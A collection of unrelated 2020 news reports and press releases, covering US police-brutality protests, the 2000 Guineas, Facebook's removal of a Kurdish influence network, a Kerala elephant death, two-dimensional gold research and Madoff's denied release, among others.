Hayes would be home with his friend that evening to watch federal law enforcement inflict punishing rule on D.C. protesters. Civilians violently dispersed by military police so the president could stage a photo. These days Hayes is worried that the chants and cries are falling on deaf ears. "The leaders of the world need to step up quickly," he says, "before people are not only marching for equality but they start marching for revenge."

Back in Charlotte, Curry is worried, too. Worried that people see the color of his skin and automatically think he's a thug. Worried he could become the next Trayvon Martin, the next George Floyd. "And it makes me angry," he says. "I'm 16. Why do I have to think about those things? I want to go to college - I want to go to Duke. And I gotta wonder, 'Am I gonna make it to see these things?' "

He's been thinking about Hayes's charge, to "Come up with a better way." He knows violence won't work, but peaceful protests don't seem to be working, either. The teenager is wondering about empathy. And how to foster it in white people. "I'm trying to think of a way that I can get them to understand and comprehend that what they're doing is wrong," he says. "To understand the pain of being profiled for your skin."

Curry will try. And Hayes will keep trying. One generation after another. And maybe, someday, white people will comprehend that black protesters aren't the ones who need to come up with a better way.
Pinatubo will bid to make it seven wins from seven races on Saturday in the English 2000 Guineas but it will be a vastly different atmosphere at Newmarket to the one he experienced last October. Then, in front of a packed racecourse, the Charlie Appleby-trained star won the Dewhurst Stakes confirming his status as the leading two-year-old in Europe. Should he win on Saturday there will be no roars to greet him from satisfied punters or groans from the racecourse bookmakers who cannot attend because of the regulations imposed due to the coronavirus pandemic. Appleby's main concern is over whether the odds-on favourite has maintained his progress, staying ahead of his rivals enough to give Dubai owners Godolphin their second Guineas of the week. Victor Ludorum -- trained by Andre Fabre -- won the French equivalent impressively on Monday. "We are not going to have conclusive proof until the 2,000 Guineas on June 6, but my gut feeling is that Pinatubo has trained on," Appleby told the Godolphin website. "No buttons will be pressed until the big day but from what we are seeing at home, he has gone the right way. "Mentally, I see no change in him. "His demeanour is the same from two to three. Physically, though, I do see change. He has grown and strengthened over winter. "You can also tell he is an experienced racehorse now. He goes about his business professionally, and nothing fazes him." Pinatubo will face 14 rivals with the chief dangers coming from Arizona, one of four runners sent from Ireland by Aidan O'Brien, and Qatar Racing's Kameko. Arizona finished second in the Dewhurst so has a bit to find with Pinatubo if he is to give O'Brien his 11th win in the race and fourth in succession. The 50-year-old says it has been far from easy to prepare Arizona and his stablemates for their targets but he is satisfied he will give a good account of himself. "The horses have been ticking over," he said. "But obviously every time you think you had a target and put a sight on it, the next thing the target moves and you have to change again, so it's a little bit tricky and horses do feel that." - 'Horses for courses' - Kameko earned his place amongst the close season favourites due to a win in the Group One Futurity Trophy. For trainer Andrew Balding success would be his first in the race and indeed succeed where his father Ian failed. "Kameko looks to have the actual attributes to deliver the Guineas for myself and Sheikh Fahad (Al-Thani of Qatar Racing)," Balding told AFP. The fillies take centre stage on Sunday with the 1000 Guineas with the unbeaten Quadrilateral the one to beat. Her chief rival could well be Irish filly Millisle who bids to give trainer Jessica Harrington her first win in the race. Millisle has already won at Newmarket last year so travelling will not be a bother for her. However, stable jockey Shane Foley will not travel so British champion jockey Oisin Murphy will ride instead. Foley would have to self-isolate for a fortnight on his return to Ireland and thus be ruled out of riding the fancied Albigna in the Irish 1000 Guineas on June 13. The 73-year-old Harrington -- who cannot go racing in Ireland due to over 70s being barred from doing so -- is "cautiously optimistic". "We are convinced she will stay but it is not till they are on the course that you are proved right or wrong," she told AFP. "However, 'horses for courses' is my belief and she has won there." pi/dj Charlie Appleby hopes unbeaten Pinatubo will replicate his champion form from last year when he starts hot favourite for the English 2000 Guineas at Newmarket Kameko has the right attributes according to trainer Andrew Balding to deliver victory in the 2000 Guineas for Sheikh Fahad Al-Thani's Qatar Racing Traimer Jessica Harrington says she is cautiously optimistic Millisle will not have a wasted journey from Ireland and deliver in the English 1000 Guineas
6 Members of Texas Military Family, Pets Found Dead Inside Garage

Six members of a Texas military family, including four children, and their pets were found dead inside their homes garage, police said.

Authorities in San Antonio told KENS5 that the children ranged from 11 months to 5 years old.

Police Chief William McManus told the outlet that officers temporarily evacuated several homes in a Stone Oak neighborhood on Thursday after they found a note on the front door saying the house was booby-trapped with possible explosive devices. The note was written in a cryptic manner, containing military jargon, he said, adding that the message also implied that there were bodies inside the house. Do not enter, it also warned.

McManus said officials used a drone and a robot to examine the inside of the home. They found what appeared to be potentially explosive materials.

More than 200 nearby homes were evacuated as a result, officials told the San Antonio Express-News.

Police and Fire are evacuating the area in the 100 block of Red Willow for possible explosive materials. Please stay away from this area as first responders work this scene, the San Antonio Police Department also wrote on Facebook.

According to WOAI-TV, authorities said the family, who was not named, is a military family. The father, a military service member, failed to show up to work, leading to a police welfare check.

Seven officers responded and smelled a heavy, noxious fume coming from inside, authorities said. McManus later said that odor was carbon monoxide.

[It] kind of blew everybody back out the door, McManus said.

Other details about the incident were not provided.
Facebook closed several accounts and pages linked to Kurdish intelligence in Iraq last month. The pages were used by the Patriotic Union of Kurdistan (PUK) in its political rivalry with the Kurdistan Democratic Party (KDP), according to findings from a report released by Facebook today.

In May, Facebook closed 324 pages, 71 accounts, five groups and 31 Instagram accounts that it linked to the Zanyari agency, according to a Facebook statement. The intelligence agency is controlled by the PUK, which is the second largest party in Iraqi Kurdistan and dominates Sulaimaniyah province. The strongholds of the largest party, the KDP, are in Erbil and Dahuk provinces. The PUK is historically close to Iran, while the KDP has an economic relationship with Turkey.

The users engaged in what Facebook describes as coordinated inauthentic behavior. This is defined as coordinated efforts to manipulate public debate for a strategic goal where fake accounts are central to the operation, the Facebook statement read.

The accounts and pages in question impersonated local politicians and posed as news agencies. Around $270,000 was spent on advertisements promoting the content and more than 4 million people followed at least one of the pages, according to Facebooks May report for coordinated inauthentic behavior released today.

They content they pushed advanced anti-KDP narratives involving the Kurdistan Regional Government (KRG). Some of the posts were about alleged ties between some Kurdish politicians and Turkey, according to the report. The KDP is often criticized for its economic relationship with Turkey due to Turkeys military conflict with Kurdish groups in Iraq, Syria and Turkey.

The Facebook report also included a post showing the late Islamic State leader Abu Bakr al-Baghdadis picture next to the KDPs logo. The Kurdish-language caption claimed his wife was in the KDP stronghold of Erbil, reading Confirmed by evidence: Abu Bakr El-Baghdadi's wife is in Erbil. If false, Let Erbil airport deny it.

The social network research firm Graphika likewise found that the posts targeted the KDP. A report Graphika released today on Facebooks findings showed that the accounts criticized KRG Prime Minister and senior KDP figure Masrour Barzani for his speech on the KRGs financial crisis last month, for example. The posts alleged that Masrour sought to blame the regions economic situation on his cousin, KRG President Nechirvan Barzani, according to Graphika.

The Zanyari intelligence agency could not be reached for comment. One KRG official said that the scenario laid out by Graphika is very accurate and that the PUK sought to criticize Masrour Barzani in particular.

A certain group within PUK has made a significant investment in cyberspace to target the KRG for one specific reason, namely the head of government, the prime minister, the official, who declined to give his name because of the potential political fallout, told Al-Monitor.

The findings also received significant attention on Kurdish social media. Some PUK-affiliated politicians frequently criticize the KRG on Twitter and other platforms.

This is not the first time Facebook has sought to limit information tied to Middle Eastern governments. In April, Facebook closed hundreds of pages and accounts after concluding they were linked to the Iranian government and were engaged in coordinated inauthentic behavior.

Facebook also began applying state-controlled labels to media outlets in Iran, Algeria, Russia and other countries yesterday. The companys head of cybersecurity policy said the labels will help inform users of the news they are consuming.

They combine the influence of a media organization with the strategic backing of a state, Facebook cybersecurity chief Nathaniel Gleicher said in a press release. People should know if the news they read is coming from a publication that may be under the influence of a government.

The list of news sites that now have the label includes Press TV and the Tasnim News Agency from Iran. In Algeria, Algerie Presse Service carries the designation, as does Agence Tunis Afrique Presse in Tunisia. In the Russian media, RT Arabic is also now designated as state-controlled. There are other outlets with the label as well, including Chinese and North Korean ones, a Facebook representative told Al-Monitor.

The aforementioned outlets all had the state-controlled media label as today. Clicking on the label opens up a window that says the outlet is is partially or wholly under the editorial control of a state.

Facebook did not label some other state media outlets in the region as such, including TRT World in Turkey and SANA in Syria.
She appreciated white allies who joined people of color to speak out but said they also need to step aside sometimes, listen and let the voices and experience of black people be front and center.

For some, their first serious encounter with police may have been at the protests, Riley said, but theres a deeper history of mistrust between police and the black community.

The whole fight is about the fact that we fear the police on a day-to-day basis, she said. Were not trying to march up to the police and yell in their faces and throw water bottles, to act a fool. Thats not what the community wants.

During protests and riots, Ligon said it can be difficult to discern different types of rabble-rousers.

What youre seeing in these riots is a mix, and thats what makes it so troublesome for police and security to know whos who, she said. Which ones are swept up in throwing rocks versus those who came with the purpose of doing nefarious things.

Some protesters said the demonstrations grew tense and confrontational only after police in riot gear fired tear gas, pepper balls and flash canisters.
One man has been arrested and two have been detained for questioning by a joint investigating team of the police and forest departments in connection with the suspected killing of a pregnant elephant in Keralas Palakkad that has triggered widespread outrage in the state and outside.

The 15-year-old elephant died after chewing on a pineapple stuffed with crackers, according to initial reports, but the latest autopsy conducted on her found it was a coconut, and the injuries she suffered were at least two weeks old.

The arrested man, identified as P Wilson, is an employee of an estate that cultivates cash crops and spices on the fringes of the Silent Valley National Park, who told investigators that he prepared such snares to check crop-raiding wild boars. Two people who Wilson said had ordered him to prepare such snares have been detained for questioning.

More arrests will take place soon, said Keralas forest minister. K Raju.

Union environment minister Prakash Javedkar has announced another probe by the Wildlife Crime Control Bureau, which has also begun its investigation.

The elephants painful death came to light on May 27 when forest officer Mohan Krishnan wrote a Facebook post after witnessing it. After biting the cracker-filled coconut, the elephant rushed to the nearby Velliyar river in the Silent Valley rain forest and stood there for days with her trunk and head immersed in the water to nurse its injuries.

Forest officials rushed to save the jumbo after local people alerted them, but she succumbed to her injuries on May 27 and during post-mortem it was found to be pregnant. Later, local people said the jumbo was around the river for more than a week.

By that time she died, the animal had been enfeebled, perhaps because it was not able to consume food or water because of the injuries inflicted by the blast. Later, local people said the jumbo was around the river for more than a week.

Elephants are much adored in Kerala, and caparisoned pachyderms re an integral part of festivals and big public celebrations in the state. They are also a feature of Keralas biggest cultural festival, Thrissur Pooram, in which one hundred-odd elephants take part along with an ensemble of percussion instrument players.

The incident also highlighted growing man-animal conflict in Kerala, where, in 2018-19, 24 people were killed by wild elephants and 12 died in tiger attacks. Home to many wildlife parks and reserves, the state has 5,706 elephants, according to a 2019 census. The state has 720 domesticated elephants, too, most of them owned by temples.

The death of the elephant in Palakkad acquired a political and communal colour after some Bharatiya Janata Party leaders including Maneka Gandhi, an animal rights campaigner, commented on the incident. Maneka Gandhi, inadvertently, said the animal had died in Malappuram, a Muslim-majority district she described as the most violent in the country, although the death took place in Palakkad.

Many film artistes including Tovino Thomas, Ashiq Abu and others began an online campaign #I stand with Malappuram.

It is sad some people are venting their anger without verifying where exactly it took place. It exposes their communal intention, said P K Kunhalikuty, the Muslim League MP who represents Malappuram, adding that such comments were an insult to the people of his constituency. Communist Party of India (Marxist) state secretary Kodiyeri Balakrishnan also condemned the move to communalise an unfortunate incident.

Wildlife activists said this was not first elephant death of its kind. In April, another female elephant died in Kollam in south Kerala after she bit into a cracker-filled water melon. Two years ago, a tusker died in Idukki after swallowing jaggery-coated explosives, they said. Usually in such cases, it is difficult to pinpoint the offenders as elephants travel long distances in search of food and water, they said, adding most such cases remain unnatural deaths only on paper.

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Sandwich with electronic spice: The illustration shows a crystalline monoatomic gold layer under graphene (anthracite). The electronic structure of the gold layer and the graphene (green) is shown above. The Stuttgart Max Planck researchers spectroscopically determined the electronic properties by examining the sample with a photon beam (grey).

Metals are usually characterized by good electrical conductivity. This applies in particular to gold and silver. However, researchers from the Max Planck Institute for Solid State Research in Stuttgart, together with partners in Pisa and Lund, have now discovered that some precious metals lose this property if they are thin enough. The extreme of a layer only one atom thick thus behaves like a semiconductor. This once again demonstrates that electrons behave differently in the two-dimensional layer of a material than in three-dimensional structures. The new properties could potentially lead to applications, for example in microelectronics and sensor technology.

One might think that gold leaf, which is only 0.1 m thick, is actually quite thin. Far from it. It can actually be several hundred times thinner. For example, the research team of Ulrich Starke and his former doctoral student Stiven Forti have successfully created a gold layer only a single atom thick. Two-dimensional gold, so to speak.

Starke is head of the Interface Analysis Facility at the Max Planck Institute for Solid State Research in Stuttgart. His team has long been working on the border between three-dimensional (voluminous) and two-dimensional (planar) materials. Solid state researchers are interested in this transition because it is associated with changes in certain material properties. This has previously been demonstrated in two-dimensional carbon, or graphene. Among other things, its electrons are significantly more mobile and allow the electrical conductivity to increase to 30 times that of the related three-dimensional graphite.

Gold atoms are pushed between graphene and silicon carbide

However, for many metals, producing layers of material just one atom thick is not an easy task. With classical deposition methods, gold atoms, for example, would immediately agglomerate into three-dimensional clusters, explains Starke. His team is therefore working with a different method  intercalation  on which they did pioneering work around 10 years ago. Intercalation literally means sliding something in between. And that is precisely how it works. The researchers start with a silicon carbide wafer. Using a process they developed themselves, they first convert its surface into a single-atomic layer of graphene. If we vaporise sublimated gold on to this silicon carbide-graphene arrangement in a high vacuum, the gold atoms migrate between the carbide and the graphene, explains Forti. The former Max Planck doctoral candidate is now doing research at the Center for Nanotechnology Innovation in Pisa. It is not yet fully understood how the thick gold atoms get into the interstitial space. But this much is clear: higher temperatures favour the process.

The team had also applied the intercalation technique to other elements, including germanium, copper, and gadolinium. Yet, according to Forti, the main focus was the influence on the properties of graphene. In the case of gold, however, it was found for the first time that the intercalated atoms arranged themselves in a regular, periodically recurring two-dimensional structure  crystalline  along the silicon carbide surface. If the intercalation is carried out at 600C, the graphene layer prevents the gold atoms from agglomerating to form drops, says Forti about the function of the carbon layer in the sandwich structure.

A gold layer consisting of only two atomic layers conducts like a metal

The successful preparation of the gold layer of one atom thickness was only the first step. Subsequently, the extremely thin materials and their possibly special characteristics became interesting for the researchers. They could indeed show that the extremely thin layer of gold develops its own electronic  and semiconductor  properties. To compare: the electrical conductivity of voluminous (i.e. three-dimensional gold) is nearly as good as that of copper. Because theoretical considerations forecast a metallic character for pure 2D gold, the semiconductor finding was somewhat surprising. Interactions between the gold atoms and either the silicon carbide or the graphene carbon obviously still play a role here. This influences the energy levels of the electrons, says Starke.

Semiconductors are essential materials in microelectronics and other fields. For example, electronic switching elements such as diodes or transistors are based on it. Starkes team can envisage some typical semiconductor applications for the new 2D material. A second layer of gold atoms again gives a metallic character  and thus influences the electrical conductivity. By varying the amount of sublimated gold, we can tightly control whether one or two layers of gold form, explains Forti.

It would therefore be conceivable to use components with alternating single- or double-atomic gold layers. The new manufacturing method would then have to be suitably combined with common lithographic methods of chip production. For example, diodes significantly smaller than conventional ones could be produced. According to Starke, the different electronic states of single and double-layer gold could also be used in optical sensors.

Electronic effects also in the graphene layer

Another application idea results from effects caused by the intercalated gold in the adjacent graphene layer, which apparently depend on the thickness of the gold. A gold layer one atom thick causes an n-doping in the graphene. This means we obtain electrons as charge carriers, says Forti. In spots where the gold is two atomic layers thick, exactly the opposite  p-doping  happens. There, missing electrons or positively charged so-called holes act as charge carriers. The gold also enhances the interaction of plasmons (i.e. fluctuations in the density of charge carriers) with electromagnetic radiation. A structured, alternating arrangement of n- and p-doping in the graphene could thus be used. For example, as a highly sensitive yet high-resolution detector array for terahertz radiation like those used in materials testing, for security checks at airports, or for wireless data transmission, says Starke.

Starkes team has already taken the next step in the production of two-dimensional precious metal layers. Also in an intercalation experiment with silver, a strictly crystalline two-dimensional silver layer formed between silicon carbide and graphene. And whats more: even this metal, which is usually an even better electrical conductor than gold, becomes a semiconductor when reduced to two dimensions. The initial results indicate that the energy required to make the silver layer electrically conductive is probably higher than for 2D gold. The semiconductor properties of a component made from this material might therefore be thermally more stable than those of gold, says Starke about possible practical consequences.
Syracuse, N.Y. -- Syracuse police Chief Kenton Buckner said today that authorities are expecting as many as 2,000 people protesting police brutality in the city on Saturday.

Hundreds of law enforcement officers will also be on duty, working two shifts to cover a 24-hour period, Buckner said,

All hands on deck for our police department, he said, adding that the New York State Police, Onondaga County Sheriffs Office, town and village departments, the countys Probation Department, the 911 Center and other agencies will be fully staffed.

Theres been no criminal or destructive behavior" associated with the protests since last weekend, the chief said. The large law enforcement contingent will be there in case vandalism or violence breaks out, he said.

People have been protesting in Syracuse all week with few problems.

The vast majority of our protests have been peaceful and lawful, Buckner said today during the citys weekly briefing.

During the past few days, officers have stopped traffic to allow protesters to walk in and around Syracuse.

They walked for several miles, which has been quite impressive, Buckner said. It also shows the commitment of the people to want something done.

When invited, Syracuse Mayor Ben Walsh has joined the marches. Hes taken a knee with the protesters, as have a few Syracuse police officers, the mayor said today.

Buckner said he expects the crowds on Saturday to be in two main places:

near the Public Safety Building (city police headquarters) on South State Street;

near Syracuse City Hall, on East Washington Street

There could be protests in other parts of the county, Buckner said.

Buckner and Walsh also talked about violence in the city overnight. Four people were shot; one person died and one person was in critical condition as of this afternoon. None of those shootings were related to protests, Buckner said.

Saturdays protests are set to begin at 1 p.m., he said, adding he expects the crowds to stay until the night.

Walsh today signed an extension of an emergency order that allows him to set a curfew. As of now, there is no curfew and today Walsh said he hopes not to need to call another.

Dr. Stephen Thomas, the division chief of infectious disease at Upstate University Hospital, also was at the briefing to remind people to take precautions against the coronavirus:

Wear a mask

Bring and travel size hand sanitizer

Distance yourself from others whenever possible

Give people without masks space.

Do the best that you can, Thomas said.

Walsh noted that since hes been out in the community more in recent days, he took a coronavirus test this morning. Earlier today, Gov. Andrew Cuomo encouraged all protesters to get tested for Covid-19.

MORE ON CORONAVIRUS

Coronavirus in NY: Cases, maps, charts and resources

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Complete coronavirus coverage on syracuse.com

Got a story idea or news tip youd like to share? Please contact me through email, Twitter, Facebook or at 315-470-2274.
PDA Foundation's New Website Some of the activities that can be underwritten are training, scholarships for PDA conference attendance, and research activities.

The Parenteral Drug Association (PDA) today announced the availability of a new website for the PDA Foundation, a 501(c)(3) nonprofit founded in 1997 to help support PDA and other industry activities. This new website makes it easier for industry stakeholders to donate money for various activities, as it includes an online processing system.

The four pillars of the PDA Foundations Mission are:

To support the education, training and research activities of the Parenteral Drug Association

To generally support education, training and research in the pharmaceutical sciences

To increase awareness and educate the public on pharmaceutical sciences by disseminating information and presenting public discussion groups, forums, panels, lectures and other programs

To do any and all other things which are consistent with its other goals and objectives.

Some of the activities that can be underwritten are training, scholarships for PDA conference attendance, and research activities.

The PDA Foundation has received significant donations in the past:

$490,000 in equipment and services to support PDAs Training and Research Institute in Bethesda, MD

$113,000 SMA equipment for use in PDAs Training and Research Institute

$125,000 BioQuell Isolator for use in PDAs Training and Research Institute

$200,000 from Pharmaceutical Manufacturing Forum for funding research into particle loading on elastomeric closures.

You can visit the PDA Foundations website here: https://www.pda.org/about-pda/foundation
Beijing: China's Ministry of Culture and Tourism has advised the public to avoid travelling to Australia, citing racial discrimination and violence against Chinese people in connection with the COVID-19 pandemic.

"There has been an alarming increase recently in acts of racial discrimination and violence against Chinese and Asians in Australia, due to the impact of the COVID-19 pandemic," the ministry said in a statement on Friday evening.

It did not give any specific examples of such discrimination or violence.

Asians of various backgrounds have said they have been harassed since the outbreak of the coronavirus, including in the United States.

China issued a warning to tourists travelling to the US earlier this year after some said they were mistreated in connection with the outbreak.
KAMPALA  Stanbic Bank Uganda has launched a new brand campaign with a fresh, bold and captivating brand promise and pay-offline that aims to deepen connections with clients and reaffirm the banks commitment to help clients realise their dreams.

Launched on Friday morning, the campaign will run for the next six months and will unpack the Banks new aspirations and client solutions which have been customized and speak to the current needs and demands.

Explaining the new campaign, Stanbic Banks Chief Executive, Anne Juuko said, This is a new chapter for our brand as we evolve with our customers and walk the journey to help them achieve their dreams. Todays customers want more than just a service, they are looking for a brand that believes in them, inspires them, and walks with them  a brand that tells them that their hopes and dreams matter. Therefore, Today marks a significant milestone and I am pleased to announce our new brand promise: Finding New Ways To Make Dreams Possible.

The new age Customer yearns for connection. We want to be the brand that is in sync with what our customers believe and aspire for so that we are a part their journey to help make their dreams possible. She said.

Ms. Juuko further announced, I am also pleased to unveil our new brand payoff line that underpins our aspirations; It Can Be. It Can Be is about being courageous, innovative, authentic and bold in everything we do. We want to engage with our clients by asking the deep questions and thinking of the unconventional and create unique solutions. Its also about attitude and having a positive approach to achieving goals as we help our clients realise their vision of a brighter future.

No more than ever is a critical time for our us to reaffirm how our brand will support our clients through this difficult time. As we go through this period, we want to remain the anchor that uplifts our clients and helps them sustain the future success of businesses.

Through the new brand campaign, Stanbic Bank will showcase its role in creating new opportunities for clients and how it will revolutionise the customer experience by making it different, exceptional and unforgettable. As such the Bank will unpack its values and offerings; Through being people-focused, offering smart solutions for entrepreneurship, being at the forefront of useful innovation, doing the right business the right way, partnering with the right people and maintaining a courageous spirit to find new ways to make dreams possible.

About Stanbic Bank Uganda

Stanbic Bank Uganda is part of the Standard Bank Group, Africas largest bank by assets. Standard Bank Group reported total assets R2.3 trillion (about USD163 billion) at 31 December 2019, while its market capitalisation was R277 billion (USD20 billion).

The group has direct, on-the-ground representation in 20 African countries and in 5 global financial centres. Standard Bank Group has more than 1 100 branches and 9 000 ATMs in Africa, making it one of the largest banking networks on the continent. It provides global connections backed by deep insights into the countries where it operates.

Stanbic Bank Uganda provides the full spectrum of financial services. Its Corporate & Investment Banking (CIB) division serves a wide range of requirements for banking, finance, trading, investment, risk management and advisory services. Corporate & Investment Banking delivers this comprehensive range of products and services relating to: investment banking; global markets; and global transactional products and services.

Standard Banks corporate and investment banking expertise is focused on industry sectors that are most relevant to emerging markets. It has strong offerings in mining and metals; oil, gas and renewables; power and infrastructure; agribusiness; telecommunications and media; and financial institutions.

Stanbic Bank Ugandas Personal and Business Banking unit (PBB) offers banking and other financial services to individuals and small-to-medium enterprises. PBB serves the increasing need among Africas small business and individual customers for banking products that can meet their shifting expectations and growing wealth.

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LOS ANGELES, June 5, 2020 /PRNewswire-HISPANIC PR WIRE/ -- Compassion & Choices today announced a historic collaboration with the Ventanillas de Salud (Windows of Health) network to launch a bilingual educational campaign during the COVID-19 crisis to inform U.S.-based Mexican immigrants about their full range of end-of-life care options.

Ventanillas de Salud is a national health outreach program implemented by the Mexican Consulate's secretary of foreign affairs and the secretary of health of Mexico. The initiative serves over one million individuals and their families located in cities with a high concentration of immigrants, including Albuquerque, Austin, Boston, Boise, Brownsville (Texas), Chicago, Denver, Detroit, El Paso, Houston, Laredo, Miami, Milwaukee, Minneapolis, New Orleans, New York, Orlando, Sacramento, San Diego, Santa Ana, San Juan, Presidio (Texas), Seattle, among others. The goal is to reduce the disparities in end-of-life planning and healthcare that negatively impact the Mexican community living in the United States.

As part of the campaign, consular and Ventanilla de Salud officials this week launched a series of webinars to further inform their team that treats sensitive cases during the pandemic.

"We are very grateful to Ventanillas de Salud for helping us reach Mexican families living in the United States to ensure they are aware of the full range of end-of-life care options," said Kim Callinan, president and CEO of Compassion & Choices. "The COVID-19 pandemic has created a far greater awareness of the importance of end-of-life care conversations that involve la familia."

The historic collaboration is especially timely since a disproportionate number of Hispanics are dying from COVID-19 in the United States. In fact, 25% of coronavirus deaths are among Latinos , a group that makes up 18% of the U.S. population. The Latino community is less likely than whites to have health insurance, which reduces their ability and willingness to seek treatment.

The collaboration was launched Wednesday during a webinar titled: Healthcare in the COVID-19 Era. See webinar at https://youtu.be/S03Wv8KAbuw

"I would like to take this opportunity to congratulate our allies at Compassion & Choices for their outstanding generosity in coordinating this activity which is so important for us," said Ambassador Ivan Sierra, executive director of Instituto de los Mexicanos en el Exterior or Institute of Mexicans Abroad. "We have seen an enormous concern because our colleagues in the consulates, in recent months, have had to face loss of life within the community. Our team in Mexico City wants to put our grain of sand so that these tools reach you."

"This first-time collaboration with Compassion & Choices will help us guide Mexicans living in the United States to make informed decisions about end-of-life care," said Josana Tonda Salcedo, national coordinator for Ventanillas de Salud. "This pandemic makes it urgent for us to discuss with our loved ones what we want in case we get a deadly case of coronavirus or another life-shortening disease."

More than 160 members of Ventanillas de Salud , Community Affairs and Protection representatives from the Mexican Consular network attended the 90-minute virtual training led by Compassion & Choices, where they learned about the free online bilingual COVID-19 toolkit available at CompassionAndChoices.org .

Participants from all over the country, including Albuquerque, Boston, Boise, Brownsville (Tex.), Chicago, Denver, Detroit, El Paso, Miami, Milwaukee, Minnesota, New York, San Diego, Santa Ana, and Seattle, also discussed the End-of-Life Decisions Guide Toolkit available in English and Spanish . This simple resource includes the documents necessary to fill out an advance directive, which clearly details an individual's care wishes for the end of life, so that family members are not left with the difficult task of guessing what a person wants when they cannot speak or make these decisions for themselves. As part of the campaign, Mexican officials will conduct a series of webinars to "strengthen the capacities" of consular and Ventanillas de Salud teams that are treating sensitive cases during the pandemic.

The collaboration is possible thanks to the initiative of the Secretariat for North America of the Secretariat of Foreign Relations of Mexico, with the support of its General Directorates, the Institute of Mexicans Abroad, the Ministry of Health and the Mexican section of the Mexico-United States Border Health Commission.

"The historic collaboration with Ventanillas de Salud will help us reach Mexican immigrant communities with vulnerable populations," said Maria Otero, national constituency manager for Compassion & Choices. "We are living very difficult times, and we must ensure that Mexican immigrant families are well informed about their care options at the end of life."

Hispanics also are less likely than whites to complete advance directives or discuss with their loved ones under which circumstances, if any, they want to receive medical interventions to prolong their life or dying process. Hispanic seniors also have little knowledge about their end-of-life care options and are far less likely than whites to enroll in hospice, according to a report published by the American Hospice Association .

"But these disparities that impact Latinos are something we can control, by communicating with our doctors and loved ones ahead of time about whether we would want to be kept alive with aggressive treatments if we become too sick to speak for ourselves," added Callinan. "An advance directive is something every person should complete. It can be a great source of relief for your family. It is  literally  a gift to your loved ones."

ABOUT COMPASSION & CHOICES

Compassion & Choices is the nation's largest nonprofit organization working to improve care and expand options for the end of life. More information is available at: www.compassionandchoices.org

ABOUT VENTANILLAS DE SALUD

Ventanillas de Salud is a national health outreach program implemented by the Ministry of Foreign Affairs and the Ministry of Health. The initiative provides support to more than a million people and their families within the 50 Mexican Consulates located in the United States.

CONTACTS:

Compassion & Choices

English Language Media : Sean Crowley, 202.495.8520-c, [email protected]

Spanish Language Media : Patricia A. Gonzalez-Portillo, 323.819.0310-c, [email protected]

Ventanillas de Salud

Josana Tonda, (212) 217 6442, [email protected]

Instituto de los Mexicanos en el Exterior

Lic. Erick Hernandez, 5536865100 ext 7502, [email protected]

Logo - https://mma.prnewswire.com/media/1177269/Compassion_and_Choices_Combination_Logos.jpg

SOURCE Compassion & Choices

Related Links

http://CompassionAndChoices.org


Nagarjuna Cement, popular cement brand produced by NCL Industries Limited, announces that it has signed on board one of the biggest south stars of Telugu cinema, Varun Tej Konidela as its brand ambassador. Nagarjuna Cement looks to redesign its communication strategy to a more modern and vibrant approach with this partnership.

Varun Tej will feature in a new song as well as in TVCs which will be launched by Nagarjuna Cement as part of its upcoming brand campaign that aims to connect with a broader demographic. The song is fresh, energetic and upbeat which focuses on the brands connection with customers using the tagline Mee anubandhame Maa Balam. Maa Nanyate Mee Nammkam. The song has been sung by Anurag Kulkarni with music composed by Yashwant Naga of the Chowraasta band. The company will be launching an advertising campaign on FM radio, social platforms and other mass media.

Speaking on the association, K. Ravi, Managing Director, NCL Industries Limited said, We are happy to bring on board a talented actor such as Varun Tej Konidela to be our brand ambassador. His vibrant and relatable personality resonates well with audiences across all demographics, who we aim to connect and engage with through our brand campaign. We look forward to him representing our brand as the face of this upcoming campaign.

Commenting on the association, actor Varun Tej Konidela said, I am excited to partner with Nagarjuna Cement and be a part of their innovative new brand campaign. I am honoured to be aligned with a brand like Nagarjuna Cement that signifies the values of quality, reliability and dependability.

Discussing the association in detail, Mr. Naveen Saxena, Founder of Trinity Prime Media Solutions, who was responsible for bringing on board Mr. Varun Tej and for conceptualizing the entire brand campaign, said, Nagarjuna Cement is an extremely popular and powerful brand in south India. We are working with them to redesign their entire communication strategy and hence partnering with one of the biggest stars, Varun Tej, played an important role to re-energize the brand. The upcoming campaign will feature great creative work targeted towards a broader target audience.

Nagarjuna Cement is a power brand and with Varun Tej on board, the brand intends to penetrate into new markets and connect with a wide customer base.
EBRD provides an additional loan of 6 million for key infrastructure project

Wastewater and sludge treatment facilities for Porec in western Croatia

Investment in parallel with EU Structural Funds

The Croatian town of Porec, one of the most popular tourist destinations on the Adriatic coast will be able to complete a critical water infrastructure project in the challenging environment of the global coronavirus pandemic thanks to a 6 million loan from the European Bank for Reconstruction and Development (EBRD).

The project includes the extension and reconstruction of the sewerage network and the construction of four new wastewater treatment plants. The new facilities will have a capacity to treat 3.2 million m3 of wastewater annually in line with the EU regulations.

The additional EBRD finance complements an earlier 4 million loan provided in parallel with EU Structural Funds. The recipient is Odvodnja d.o.o. Porec, a municipal company providing wastewater collection and treatment services, servicing the town and surrounding municipalities.

Victoria Zinchuk, EBRD Director, Head of Croatia, said: The EBRD is committed to continuing its support for investments in Croatia despite the ongoing coronavirus pandemic. Odvodnja Porec and the city of Porec are our long-term clients, and we are very happy to provide this additional financing required to finalise much-needed investments in the local wastewater network.

Milan Lakovic, Director of Odvodnja Porec said: Odvodnja Porec is undertaking one of the most important water management ventures in the region with numerous challenges and under unforeseen circumstances. Our EU Porec project is entering its final phase of construction of the wastewater network infrastructure. The majority of works are scheduled to be completed during 2020, and EBRD funding will secure their unobstructed and successful completion, to the satisfaction of not only the projects stakeholders, but more importantly, to the residents of Porec, for whose benefit this project was envisaged.

The EBRD signed its first project in Croatia in 1994 and has invested over 3.9 billion in 218 projects there to date. The Banks activities include all areas of the economy, with a special focus on the infrastructure, corporate, financial institutions and energy sectors.
NEW YORK (AP)  A dying Ponzi king Bernard Madoff lost his bid for early release from prison Thursday when the judge who sentenced him to 150 years behind bars said he intended for him to die there and nothing has happened in the last 11 years to change his mind.

Judge Denny Chin, who now sits on the 2nd U.S. Circuit Court of Appeals, noted the continuing suffering of Madoffs thousands of victims who lost $17.5 billion when a decades-long scheme that deceived them into thinking their money was invested properly was exposed in December 2008.

I also believe that Mr. Madoff was never truly remorseful, and that he was only sorry that his life as he knew it was collapsing around him. Even at the end, he was trying to send more millions of his ill-gotten gains to family members, friends, and certain employees," Chin wrote.

The judge said he'd reviewed public statements made by Madoff, 82, and found they show that he has never fully accepted responsibility for his actions and that he even faults his victims."

Madoff, housed at the Federal Medical Center in Butner, North Carolina, through his lawyers had requested compassionate release, which lets some prisoners go home if they are likely to die within 18 months.

